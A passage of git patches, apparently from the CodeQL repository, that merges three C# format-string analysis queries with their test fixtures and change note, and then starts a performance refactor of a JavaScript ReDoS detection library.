TraceInformation | this | +| FormatInvalid.cs:107:23:107:25 | "}" | FormatInvalid.cs:107:23:107:25 | "}" | FormatInvalid.cs:107:23:107:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:107:9:107:29 | call to method Write | this | FormatInvalid.cs:107:9:107:29 | call to method Write | this | +| FormatInvalid.cs:108:23:108:25 | "}" | FormatInvalid.cs:108:23:108:25 | "}" | FormatInvalid.cs:108:23:108:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:108:9:108:32 | call to method Write | this | FormatInvalid.cs:108:9:108:32 | call to method Write | this | +| FormatInvalid.cs:109:23:109:25 | "}" | FormatInvalid.cs:109:23:109:25 | "}" | FormatInvalid.cs:109:23:109:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:109:9:109:35 | call to method Write | this | FormatInvalid.cs:109:9:109:35 | call to method Write | this | +| FormatInvalid.cs:110:23:110:25 | "}" | FormatInvalid.cs:110:23:110:25 | "}" | FormatInvalid.cs:110:23:110:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:110:9:110:38 | call to method Write | this | FormatInvalid.cs:110:9:110:38 | call to method Write | this | +| FormatInvalid.cs:115:56:115:58 | "}" | FormatInvalid.cs:115:56:115:58 | [assertion success] "}" | FormatInvalid.cs:115:56:115:58 | [assertion success] "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:115:9:115:63 | call to method Assert | this | FormatInvalid.cs:115:9:115:63 | call to method Assert | this | +| FormatInvalid.cs:116:18:116:20 | "}" | FormatInvalid.cs:116:18:116:20 | "}" | FormatInvalid.cs:116:18:116:20 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:116:9:116:24 | call to method Write | this | FormatInvalid.cs:116:9:116:24 | call to method Write | this | +| FormatInvalid.cs:117:40:117:42 | "}" | FormatInvalid.cs:117:40:117:42 | "}" | FormatInvalid.cs:117:40:117:42 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:117:9:117:47 | call to method Print | this | FormatInvalid.cs:117:9:117:47 | call to method Print | this | +| FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | Invalid format string used in $@ formatting call. | FormatInvalidBad.cs:7:16:7:50 | call to method Format | this | FormatInvalidBad.cs:7:16:7:50 | call to method Format | this | +| FormatMissingArgument.cs:11:9:11:31 | call to method Format | FormatMissingArgument.cs:11:23:11:27 | "{1}" | FormatMissingArgument.cs:11:23:11:27 | "{1}" | Argument '{1}' has not been supplied to $@ format string. | FormatMissingArgument.cs:11:23:11:27 | "{1}" | this | FormatMissingArgument.cs:11:23:11:27 | "{1}" | this | +| FormatMissingArgument.cs:11:9:11:31 | call to method Format | FormatMissingArgument.cs:11:23:11:27 | "{1}" | FormatMissingArgument.cs:11:23:11:27 | "{1}" | The $@ ignores $@. | FormatMissingArgument.cs:11:23:11:27 | "{1}" | format string | FormatMissingArgument.cs:11:30:11:30 | (...) ... | this supplied value | +| FormatMissingArgument.cs:14:9:14:38 | call to method Format | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | Argument '{2}' has not been supplied to $@ format string. | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | this | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | this | +| FormatMissingArgument.cs:14:9:14:38 | call to method Format | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | Argument '{3}' has not been supplied to $@ format string. | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | this | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | this | +| FormatMissingArgument.cs:14:9:14:38 | call to method Format | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | The $@ ignores $@. | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | format string | FormatMissingArgument.cs:14:34:14:34 | (...) ... | this supplied value | +| FormatMissingArgument.cs:14:9:14:38 | call to method Format | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | The $@ ignores $@. | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | format string | FormatMissingArgument.cs:14:37:14:37 | (...) ... | this supplied value | +| FormatMissingArgument.cs:25:9:25:32 | call to method WriteLine | FormatMissingArgument.cs:25:27:25:31 | "{0}" | FormatMissingArgument.cs:25:27:25:31 | "{0}" | Argument '{0}' has not been supplied to $@ format string. | FormatMissingArgument.cs:25:27:25:31 | "{0}" | this | FormatMissingArgument.cs:25:27:25:31 | "{0}" | this | +| FormatMissingArgument.cs:31:9:31:32 | call to method Format | FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | FormatMissingArgument.cs:31:23:31:28 | access to parameter format | Argument '{1}' has not been supplied to $@ format string. | FormatMissingArgument.cs:22:16:22:20 | "{1}" | this | FormatMissingArgument.cs:22:16:22:20 | "{1}" | this | +| FormatMissingArgument.cs:31:9:31:32 | call to method Format | FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | FormatMissingArgument.cs:31:23:31:28 | access to parameter format | The $@ ignores $@. | FormatMissingArgument.cs:22:16:22:20 | "{1}" | format string | FormatMissingArgument.cs:31:31:31:31 | (...) ... | this supplied value | +| FormatMissingArgumentBad.cs:7:9:7:49 | call to method WriteLine | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | Argument '{1}' has not been supplied to $@ format string. | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | this | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | this | +| FormatMissingArgumentBad.cs:8:9:8:55 | call to method WriteLine | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | Argument '{2}' has not been supplied to $@ format string. | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | this | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | this | +| FormatMissingArgumentBad.cs:8:9:8:55 | call to method WriteLine | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | The $@ ignores $@. | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | format string | FormatMissingArgumentBad.cs:8:44:8:48 | access to parameter first | this supplied value | +| FormatUnusedArgument.cs:11:9:11:29 | call to method Format | FormatUnusedArgument.cs:11:23:11:25 | "X" | FormatUnusedArgument.cs:11:23:11:25 | "X" | The $@ ignores $@. | FormatUnusedArgument.cs:11:23:11:25 | "X" | format string | FormatUnusedArgument.cs:11:28:11:28 | (...) ... | this supplied value | +| FormatUnusedArgument.cs:14:9:14:34 | call to method Format | FormatUnusedArgument.cs:14:23:14:27 | "{0}" | FormatUnusedArgument.cs:14:23:14:27 | "{0}" | The $@ ignores $@. | FormatUnusedArgument.cs:14:23:14:27 | "{0}" | format string | FormatUnusedArgument.cs:14:33:14:33 | (...) ... | this supplied value | +| FormatUnusedArgument.cs:17:9:17:38 | call to method Format | FormatUnusedArgument.cs:17:23:17:31 | "{0} {0}" | FormatUnusedArgument.cs:17:23:17:31 | "{0} {0}" | The $@ ignores $@. | FormatUnusedArgument.cs:17:23:17:31 | "{0} {0}" | format string | FormatUnusedArgument.cs:17:37:17:37 | (...) ... | this supplied value | +| FormatUnusedArgument.cs:20:9:20:38 | call to method Format | FormatUnusedArgument.cs:20:23:20:31 | "{1} {1}" | FormatUnusedArgument.cs:20:23:20:31 | "{1} {1}" | The $@ ignores $@. | FormatUnusedArgument.cs:20:23:20:31 | "{1} {1}" | format string | FormatUnusedArgument.cs:20:34:20:34 | (...) ... | this supplied value | +| FormatUnusedArgument.cs:23:9:23:41 | call to method Format | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | The $@ ignores $@. | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | format string | FormatUnusedArgument.cs:23:34:23:34 | (...) ... | this supplied value | +| FormatUnusedArgument.cs:23:9:23:41 | call to method Format | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | The $@ ignores $@. | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | format string | FormatUnusedArgument.cs:23:37:23:37 | (...) ... | this supplied value | +| FormatUnusedArgument.cs:23:9:23:41 | call to method Format | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | The $@ ignores $@. | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | format string | FormatUnusedArgument.cs:23:40:23:40 | (...) ... | this supplied value | +| FormatUnusedArgument.cs:26:9:26:35 | call to method Format | FormatUnusedArgument.cs:26:23:26:31 | "{{sdc}}" | FormatUnusedArgument.cs:26:23:26:31 | "{{sdc}}" | The $@ ignores $@. | FormatUnusedArgument.cs:26:23:26:31 | "{{sdc}}" | format string | FormatUnusedArgument.cs:26:34:26:34 | (...) ... | this supplied value | +| FormatUnusedArgument.cs:38:9:38:33 | call to method Format | FormatUnusedArgument.cs:38:23:38:29 | "{{0}}" | FormatUnusedArgument.cs:38:23:38:29 | "{{0}}" | The $@ ignores $@. | FormatUnusedArgument.cs:38:23:38:29 | "{{0}}" | format string | FormatUnusedArgument.cs:38:32:38:32 | (...) ... | this supplied value | +| FormatUnusedArgumentBad.cs:7:9:7:71 | call to method WriteLine | FormatUnusedArgumentBad.cs:7:27:7:54 | "Error processing file: {0}" | FormatUnusedArgumentBad.cs:7:27:7:54 | "Error processing file: {0}" | The $@ ignores $@. | FormatUnusedArgumentBad.cs:7:27:7:54 | "Error processing file: {0}" | format string | FormatUnusedArgumentBad.cs:7:61:7:70 | (...) ... | this supplied value | +| FormatUnusedArgumentBad.cs:8:9:8:77 | call to method WriteLine | FormatUnusedArgumentBad.cs:8:27:8:60 | "Error processing file: {1} ({1})" | FormatUnusedArgumentBad.cs:8:27:8:60 | "Error processing file: {1} ({1})" | The $@ ignores $@. | FormatUnusedArgumentBad.cs:8:27:8:60 | "Error processing file: {1} ({1})" | format string | FormatUnusedArgumentBad.cs:8:63:8:64 | access to parameter ex | this supplied value | +| FormatUnusedArgumentBad.cs:9:9:9:75 | call to method WriteLine | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | The $@ ignores $@. | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | format string | FormatUnusedArgumentBad.cs:9:61:9:62 | access to parameter ex | this supplied value | +| FormatUnusedArgumentBad.cs:9:9:9:75 | call to method WriteLine | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | The $@ ignores $@. | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | format string | FormatUnusedArgumentBad.cs:9:65:9:74 | (...) ... | this supplied value | diff --git a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidBad.cs b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidBad.cs index e89734ab19c..ec3df72655d 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidBad.cs @@ -1,6 +1,6 @@ using System; -class Bad +class Bad1 { string GenerateEmptyClass(string c) { diff --git a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidGood.cs b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidGood.cs index 2060501541d..efc62a07391 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidGood.cs +++ b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidGood.cs @@ -1,9 +1,9 @@ using System; -class Good +class Good1 { string GenerateEmptyClass(string c) { - return string.Format("class {0} {{ }}"); + return string.Format("class {0} {{ }}", "C"); } } diff --git a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.cs b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatMissingArgument.cs similarity index 100% rename from csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.cs rename to csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatMissingArgument.cs diff --git a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgumentBad.cs b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatMissingArgumentBad.cs similarity index 94% rename from csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgumentBad.cs rename to csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatMissingArgumentBad.cs index 0fc5b21f1ae..a66eea4cf32 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgumentBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatMissingArgumentBad.cs @@ -1,6 +1,6 @@ using System; -class Bad +class Bad3 { void Hello(string first, string last) { diff --git a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgumentGood.cs b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatMissingArgumentGood.cs similarity index 91% rename from csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgumentGood.cs rename to csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatMissingArgumentGood.cs index 36fbe2de8a7..817da4d8336 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgumentGood.cs +++ b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatMissingArgumentGood.cs @@ -1,6 +1,6 @@ using System; -class Good +class Good3 { void Hello(string first, string last) { diff --git a/csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgument.cs b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatUnusedArgument.cs similarity index 100% rename from csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgument.cs rename to csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatUnusedArgument.cs diff --git a/csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgumentBad.cs b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatUnusedArgumentBad.cs similarity index 96% rename from csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgumentBad.cs rename to csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatUnusedArgumentBad.cs index 838c1f27944..25bce1a742e 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgumentBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatUnusedArgumentBad.cs @@ -1,6 +1,6 @@ using System; -class Bad +class Bad2 { void M(Exception ex) { diff --git a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.expected b/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.expected deleted file mode 100644 index e7b41f90e6d..00000000000 --- a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.expected +++ /dev/null @@ -1,24 +0,0 @@ -nodes -| FormatMissingArgument.cs:8:23:8:27 | "{0}" | semmle.label | "{0}" | -| FormatMissingArgument.cs:11:23:11:27 | "{1}" | semmle.label | "{1}" | -| FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | semmle.label | "{2} {3}" | -| FormatMissingArgument.cs:17:23:17:35 | "{0} {1} {2}" | semmle.label | "{0} {1} {2}" | -| FormatMissingArgument.cs:20:23:20:39 | "{0} {1} {2} {3}" | semmle.label | "{0} {1} {2} {3}" | -| FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | semmle.label | "{1}" : String | -| FormatMissingArgument.cs:25:27:25:31 | "{0}" | semmle.label | "{0}" | -| FormatMissingArgument.cs:28:24:28:29 | format : String | semmle.label | format : String | -| FormatMissingArgument.cs:31:23:31:28 | access to parameter format | semmle.label | access to parameter format | -| FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | semmle.label | "Hello {0} {1}" | -| FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | semmle.label | "Hello {1} {2}" | -| FormatMissingArgumentGood.cs:7:27:7:41 | "Hello {0} {1}" | semmle.label | "Hello {0} {1}" | -edges -| FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | FormatMissingArgument.cs:28:24:28:29 | format : String | -| FormatMissingArgument.cs:28:24:28:29 | format : String | FormatMissingArgument.cs:31:23:31:28 | access to parameter format | -#select -| FormatMissingArgument.cs:11:9:11:31 | call to method Format | FormatMissingArgument.cs:11:23:11:27 | "{1}" | FormatMissingArgument.cs:11:23:11:27 | "{1}" | Argument '{1}' has not been supplied to $@ format string. | FormatMissingArgument.cs:11:23:11:27 | "{1}" | this | -| FormatMissingArgument.cs:14:9:14:38 | call to method Format | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | Argument '{2}' has not been supplied to $@ format string. | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | this | -| FormatMissingArgument.cs:14:9:14:38 | call to method Format | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | Argument '{3}' has not been supplied to $@ format string. | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | this | -| FormatMissingArgument.cs:25:9:25:32 | call to method WriteLine | FormatMissingArgument.cs:25:27:25:31 | "{0}" | FormatMissingArgument.cs:25:27:25:31 | "{0}" | Argument '{0}' has not been supplied to $@ format string. | FormatMissingArgument.cs:25:27:25:31 | "{0}" | this | -| FormatMissingArgument.cs:31:9:31:32 | call to method Format | FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | FormatMissingArgument.cs:31:23:31:28 | access to parameter format | Argument '{1}' has not been supplied to $@ format string. | FormatMissingArgument.cs:22:16:22:20 | "{1}" | this | -| FormatMissingArgumentBad.cs:7:9:7:49 | call to method WriteLine | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | Argument '{1}' has not been supplied to $@ format string. | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | this | -| FormatMissingArgumentBad.cs:8:9:8:55 | call to method WriteLine | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | Argument '{2}' has not been supplied to $@ format string. | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | this | diff --git a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.qlref b/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.qlref deleted file mode 100644 index 9176440f3c2..00000000000 --- a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.qlref +++ /dev/null @@ -1 +0,0 @@ -API Abuse/FormatMissingArgument.ql \ No newline at end of file diff --git a/csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgument.expected b/csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgument.expected deleted file mode 100644 index db2726ea591..00000000000 --- a/csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgument.expected +++ /dev/null @@ -1,31 +0,0 @@ -nodes -| FormatUnusedArgument.cs:8:23:8:35 | "{0} {1} {2}" | semmle.label | "{0} {1} {2}" | -| FormatUnusedArgument.cs:11:23:11:25 | "X" | semmle.label | "X" | -| FormatUnusedArgument.cs:14:23:14:27 | "{0}" | semmle.label | "{0}" | -| FormatUnusedArgument.cs:17:23:17:31 | "{0} {0}" | semmle.label | "{0} {0}" | -| FormatUnusedArgument.cs:20:23:20:31 | "{1} {1}" | semmle.label | "{1} {1}" | -| FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | semmle.label | "abcdefg" | -| FormatUnusedArgument.cs:26:23:26:31 | "{{sdc}}" | semmle.label | "{{sdc}}" | -| FormatUnusedArgument.cs:29:23:29:33 | "{{{0:D}}}" | semmle.label | "{{{0:D}}}" | -| FormatUnusedArgument.cs:32:23:32:39 | "{0} {1} {2} {3}" | semmle.label | "{0} {1} {2} {3}" | -| FormatUnusedArgument.cs:35:23:35:35 | "{0} {1} {2}" | semmle.label | "{0} {1} {2}" | -| FormatUnusedArgument.cs:38:23:38:29 | "{{0}}" | semmle.label | "{{0}}" | -| FormatUnusedArgument.cs:42:23:42:24 | "" | semmle.label | "" | -| FormatUnusedArgumentBad.cs:7:27:7:54 | "Error processing file: {0}" | semmle.label | "Error processing file: {0}" | -| FormatUnusedArgumentBad.cs:8:27:8:60 | "Error processing file: {1} ({1})" | semmle.label | "Error processing file: {1} ({1})" | -| FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | semmle.label | "Error processing file: %s (%d)" | -edges -#select -| FormatUnusedArgument.cs:11:9:11:29 | call to method Format | FormatUnusedArgument.cs:11:23:11:25 | "X" | FormatUnusedArgument.cs:11:23:11:25 | "X" | The $@ ignores $@. | FormatUnusedArgument.cs:11:23:11:25 | "X" | format string | FormatUnusedArgument.cs:11:28:11:28 | (...) ... | this supplied value | -| FormatUnusedArgument.cs:14:9:14:34 | call to method Format | FormatUnusedArgument.cs:14:23:14:27 | "{0}" | FormatUnusedArgument.cs:14:23:14:27 | "{0}" | The $@ ignores $@. | FormatUnusedArgument.cs:14:23:14:27 | "{0}" | format string | FormatUnusedArgument.cs:14:33:14:33 | (...) ... | this supplied value | -| FormatUnusedArgument.cs:17:9:17:38 | call to method Format | FormatUnusedArgument.cs:17:23:17:31 | "{0} {0}" | FormatUnusedArgument.cs:17:23:17:31 | "{0} {0}" | The $@ ignores $@. | FormatUnusedArgument.cs:17:23:17:31 | "{0} {0}" | format string | FormatUnusedArgument.cs:17:37:17:37 | (...) ... | this supplied value | -| FormatUnusedArgument.cs:20:9:20:38 | call to method Format | FormatUnusedArgument.cs:20:23:20:31 | "{1} {1}" | FormatUnusedArgument.cs:20:23:20:31 | "{1} {1}" | The $@ ignores $@. | FormatUnusedArgument.cs:20:23:20:31 | "{1} {1}" | format string | FormatUnusedArgument.cs:20:34:20:34 | (...) ... | this supplied value | -| FormatUnusedArgument.cs:23:9:23:41 | call to method Format | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | The $@ ignores $@. | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | format string | FormatUnusedArgument.cs:23:34:23:34 | (...) ... | this supplied value | -| FormatUnusedArgument.cs:23:9:23:41 | call to method Format | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | The $@ ignores $@. | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | format string | FormatUnusedArgument.cs:23:37:23:37 | (...) ... | this supplied value | -| FormatUnusedArgument.cs:23:9:23:41 | call to method Format | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | The $@ ignores $@. | FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | format string | FormatUnusedArgument.cs:23:40:23:40 | (...) ... | this supplied value | -| FormatUnusedArgument.cs:26:9:26:35 | call to method Format | FormatUnusedArgument.cs:26:23:26:31 | "{{sdc}}" | FormatUnusedArgument.cs:26:23:26:31 | "{{sdc}}" | The $@ ignores $@. | FormatUnusedArgument.cs:26:23:26:31 | "{{sdc}}" | format string | FormatUnusedArgument.cs:26:34:26:34 | (...) ... | this supplied value | -| FormatUnusedArgument.cs:38:9:38:33 | call to method Format | FormatUnusedArgument.cs:38:23:38:29 | "{{0}}" | FormatUnusedArgument.cs:38:23:38:29 | "{{0}}" | The $@ ignores $@. | FormatUnusedArgument.cs:38:23:38:29 | "{{0}}" | format string | FormatUnusedArgument.cs:38:32:38:32 | (...) ... | this supplied value | -| FormatUnusedArgumentBad.cs:7:9:7:71 | call to method WriteLine | FormatUnusedArgumentBad.cs:7:27:7:54 | "Error processing file: {0}" | FormatUnusedArgumentBad.cs:7:27:7:54 | "Error processing file: {0}" | The $@ ignores $@. | FormatUnusedArgumentBad.cs:7:27:7:54 | "Error processing file: {0}" | format string | FormatUnusedArgumentBad.cs:7:61:7:70 | (...) ... | this supplied value | -| FormatUnusedArgumentBad.cs:8:9:8:77 | call to method WriteLine | FormatUnusedArgumentBad.cs:8:27:8:60 | "Error processing file: {1} ({1})" | FormatUnusedArgumentBad.cs:8:27:8:60 | "Error processing file: {1} ({1})" | The $@ ignores $@. | FormatUnusedArgumentBad.cs:8:27:8:60 | "Error processing file: {1} ({1})" | format string | FormatUnusedArgumentBad.cs:8:63:8:64 | access to parameter ex | this supplied value | -| FormatUnusedArgumentBad.cs:9:9:9:75 | call to method WriteLine | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | The $@ ignores $@. | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | format string | FormatUnusedArgumentBad.cs:9:61:9:62 | access to parameter ex | this supplied value | -| FormatUnusedArgumentBad.cs:9:9:9:75 | call to method WriteLine | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | The $@ ignores $@. | FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | format string | FormatUnusedArgumentBad.cs:9:65:9:74 | (...) ... | this supplied value | diff --git a/csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgument.qlref b/csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgument.qlref deleted file mode 100644 index 050d9e62798..00000000000 --- a/csharp/ql/test/query-tests/API Abuse/FormatUnusedArgument/FormatUnusedArgument.qlref +++ /dev/null @@ -1 +0,0 @@ -API Abuse/FormatUnusedArgument.ql \ No newline at end of file From 591f90f98ec3d8301c01276d0a47aa9954cdd75d Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Mon, 21 Dec 2020 10:26:49 +0100 Subject: [PATCH 0332/1241] C#: Add change note --- csharp/change-notes/2020-12-21-merge-format-queries.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 csharp/change-notes/2020-12-21-merge-format-queries.md diff --git a/csharp/change-notes/2020-12-21-merge-format-queries.md b/csharp/change-notes/2020-12-21-merge-format-queries.md new file mode 100644 index 00000000000..9845a991b90 --- /dev/null +++ b/csharp/change-notes/2020-12-21-merge-format-queries.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* The queries `FormatInvalid.ql`, `FormatMissingArgument.ql`, and `FormatUnusedArgument.ql` have been merged into a single `FormatInvalid.ql` query. \ No newline at end of file From cbad705029e1d52945e1ee8659855a5ace4f4eb1 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Mon, 21 Dec 2020 10:06:13 +0100 Subject: [PATCH 0333/1241] general performance improvements in the ReDoS utility library --- .../security/performance/ReDoSUtil.qll | 85 ++++++++++++++++--- .../ReDoS/PolynomialBackTracking.expected | 1 + .../ReDoS/PolynomialReDoS.expected | 5 ++ .../Performance/ReDoS/polynomial-redos.js | 2 + 4 files changed, 79 insertions(+), 14 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index 3ea91a72751..c29d913caa3 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -802,12 +802,18 @@ private module PrefixConstruction { result = prefix(prev) and delta(prev, Epsilon(), state) or not delta(prev, Epsilon(), state) and - result = - prefix(prev) + - min(string c | delta(prev, any(InputSymbol symbol | c = intersect(Any(), symbol)), state)) + result = prefix(prev) + getMinimumEdgeChar(prev, state) ) } + /** + * Gets the minimum char for which there exists a transition from `prev` to `next` in the NFA. + */ + private string getMinimumEdgeChar(State prev, State next) { + result = + min(string c | delta(prev, any(InputSymbol symbol | c = intersect(Any(), symbol)), next)) + } + /** * A state within a regular expression that has a pumpable state. */ @@ -871,15 +877,27 @@ private module SuffixConstruction { /** * Holds if there is likely a non-empty suffix leading to rejection starting in `s`. */ - pragma[noinline] + pragma[noopt] predicate hasEdgeToLikelyRejectable(StateInPumpableRegexp s) { // all edges (at least one) with some char leads to another state that is rejectable. // the `next` states might not share a common suffix, which can cause FPs. - exists(string char | char = relevant(getRoot(s.getRepr())) | - forex(State next | deltaClosedChar(s, char, next) | isLikelyRejectable(next)) + exists(string char | char = hasEdgeToLikelyRejectableHelper(s) | + exists(State next | deltaClosedChar(s, char, next) | isLikelyRejectable(next)) and + forall(State next | deltaClosedChar(s, char, next) | 